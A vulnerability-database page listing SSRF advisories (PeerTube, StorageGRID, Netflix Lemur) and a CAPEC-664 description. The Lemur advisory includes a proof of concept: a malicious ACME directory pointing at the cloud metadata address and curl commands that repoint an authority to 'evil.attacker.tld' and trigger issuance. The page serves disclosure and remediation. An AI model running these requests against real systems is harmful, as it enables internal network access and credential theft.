      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.60.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/herantong/cve/blob/main/changedetection.io_ssrf-preview-endpoint_CWE-918"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-95656"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/896586"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/408412"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/408412/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XPFQ-G4P2-QQQF

Vulnerability from github – Published: 2022-01-11 00:01 – Updated: 2022-01-15 00:03
VLAI
Details

peertube is vulnerable to Server-Side Request Forgery (SSRF)

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-0132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-10T14:12:00Z",
    "severity": "HIGH"
  },
  "details": "peertube is vulnerable to Server-Side Request Forgery (SSRF)",
  "id": "GHSA-xpfq-g4p2-qqqf",
  "modified": "2022-01-15T00:03:25Z",
  "published": "2022-01-11T00:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chocobozzz/peertube/commit/7b54a81cccf6b4c12269e9d6897d608b1a99537a"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/77ec5308-5561-4664-af21-d780df2d1e4b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XPFW-QH9X-F6C7

Vulnerability from github – Published: 2025-09-19 21:31 – Updated: 2025-09-19 21:31
VLAI
Details

StorageGRID (formerly StorageGRID Webscale) versions prior to 11.8.0.15 and 11.9.0.8 without Single Sign-on enabled are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an unauthenticated attacker to change the password of any Grid Manager or Tenant Manager non-federated user.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-26515"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-19T19:15:38Z",
    "severity": "HIGH"
  },
  "details": "StorageGRID (formerly \nStorageGRID Webscale) versions prior to 11.8.0.15 and 11.9.0.8 without \nSingle Sign-on enabled are susceptible to a Server-Side Request Forgery \n(SSRF) vulnerability. Successful exploit could allow an unauthenticated \nattacker to change the password of any Grid Manager or Tenant Manager \nnon-federated user.",
  "id": "GHSA-xpfw-qh9x-f6c7",
  "modified": "2025-09-19T21:31:17Z",
  "published": "2025-09-19T21:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26515"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/NTAP-20250910-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPMJ-WJCP-6PWW

Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51
VLAI
Summary
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Details

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client: 1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs. 2. new_order() -> server returns finalize and authorizations URLs. 3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

  • JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
  • Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
  • The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
  • Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

  1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
  2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:51:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe ACME client (used to issue certificates from Let\u0027s Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority\u0027s role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority\u0027s role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n  -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  \u003c- no re-validation\n\u2026 next certificate issuance against this authority \u2026\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n    -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # \u003c- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }\u0027\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}\u0027\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname \u2260 the configured `acme_url` hostname.",
  "id": "GHSA-xpmj-wjcp-6pww",
  "modified": "2026-08-18T20:51:07Z",
  "published": "2026-08-18T20:51:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-xpmj-wjcp-6pww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list